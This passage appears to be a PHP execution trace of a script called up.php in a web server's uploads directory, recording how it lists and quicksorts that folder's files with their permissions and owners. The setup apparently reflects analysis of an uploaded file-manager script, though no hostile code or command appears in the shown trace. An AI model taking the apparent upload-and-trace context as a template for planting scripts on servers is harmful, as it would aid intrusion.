TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 166 1 0.009282 799928
4 166 R 6
4 167 0 0.009304 799920 sizeof 0 /var/www/html/uploads/up.php 910 1 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4 167 1 0.009362 799952
4 167 R 3
4 168 0 0.009384 799920 quicksort 1 /var/www/html/uploads/up.php 910 4 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 0 2 'filename'
5 169 0 0.009445 799920 floor 0 /var/www/html/uploads/up.php 924 1 1
5 169 1 0.009464 799952
5 169 R 1
4 A /var/www/html/uploads/up.php 924 $cmp = '.'
4 A /var/www/html/uploads/up.php 926 $l = 0
4 A /var/www/html/uploads/up.php 927 $r = 2
4 A /var/www/html/uploads/up.php 932 $r--
4 A /var/www/html/uploads/up.php 936 $tmp = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/up.php 937 $array[0] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/up.php 938 $array[1] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/up.php 940 $l++
4 A /var/www/html/uploads/up.php 941 $r--
5 170 0 0.009686 799920 quicksort 1 /var/www/html/uploads/up.php 947 4 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 0 0 'filename'
5 170 1 0.009747 799920
5 171 0 0.009759 799920 quicksort 1 /var/www/html/uploads/up.php 948 4 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 1 2 'filename'
6 172 0 0.009830 799920 floor 0 /var/www/html/uploads/up.php 924 1 1.5
6 172 1 0.009851 799952
6 172 R 1
5 A /var/www/html/uploads/up.php 924 $cmp = '..'
5 A /var/www/html/uploads/up.php 926 $l = 1
5 A /var/www/html/uploads/up.php 927 $r = 2
5 A /var/www/html/uploads/up.php 932 $r--
5 A /var/www/html/uploads/up.php 936 $tmp = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
5 A /var/www/html/uploads/up.php 937 $array[1] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
5 A /var/www/html/uploads/up.php 938 $array[1] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
5 A /var/www/html/uploads/up.php 940 $l++
5 A /var/www/html/uploads/up.php 941 $r--
6 173 0 0.010042 799920 quicksort 1 /var/www/html/uploads/up.php 947 4 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 1 0 'filename'
6 173 1 0.010087 799920
6 174 0 0.010095 799920 quicksort 1 /var/www/html/uploads/up.php 948 4 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 2 2 'filename'
6 174 1 0.010138 799920
5 171 1 0.010145 799920
4 168 1 0.010153 799920
4 175 0 0.010161 799944 sizeof 0 /var/www/html/uploads/up.php 913 1 [0 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 175 1 0.010206 799976
4 175 R 3
4 176 0 0.010220 799944 quicksort 1 /var/www/html/uploads/up.php 913 4 [0 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']] 0 2 'filename'
5 177 0 0.010266 799944 floor 0 /var/www/html/uploads/up.php 924 1 1
5 177 1 0.010278 799976
5 177 R 1
4 A /var/www/html/uploads/up.php 924 $cmp = 'prepend.php'
4 A /var/www/html/uploads/up.php 926 $l = 0
4 A /var/www/html/uploads/up.php 927 $r = 2
4 A /var/www/html/uploads/up.php 936 $tmp = ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 A /var/www/html/uploads/up.php 937 $array[0] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/up.php 938 $array[2] = ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 A /var/www/html/uploads/up.php 940 $l++
4 A /var/www/html/uploads/up.php 941 $r--
4 A /var/www/html/uploads/up.php 936 $tmp = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/up.php 937 $array[1] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/up.php 938 $array[1] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/up.php 940 $l++
4 A /var/www/html/uploads/up.php 941 $r--
5 178 0 0.010521 799944 quicksort 1 /var/www/html/uploads/up.php 947 4 [0 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']] 0 0 'filename'
5 178 1 0.010568 799944
5 179 0 0.010576 799944 quicksort 1 /var/www/html/uploads/up.php 948 4 [0 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']] 2 2 'filename'
5 179 1 0.010620 799944
4 176 1 0.010628 799944
4 180 0 0.010636 799944 array_merge 0 /var/www/html/uploads/up.php 916 2 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] [0 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 180 1 0.010707 800384
4 180 R [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
3 159 1 0.010792 799520
3 159 R [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
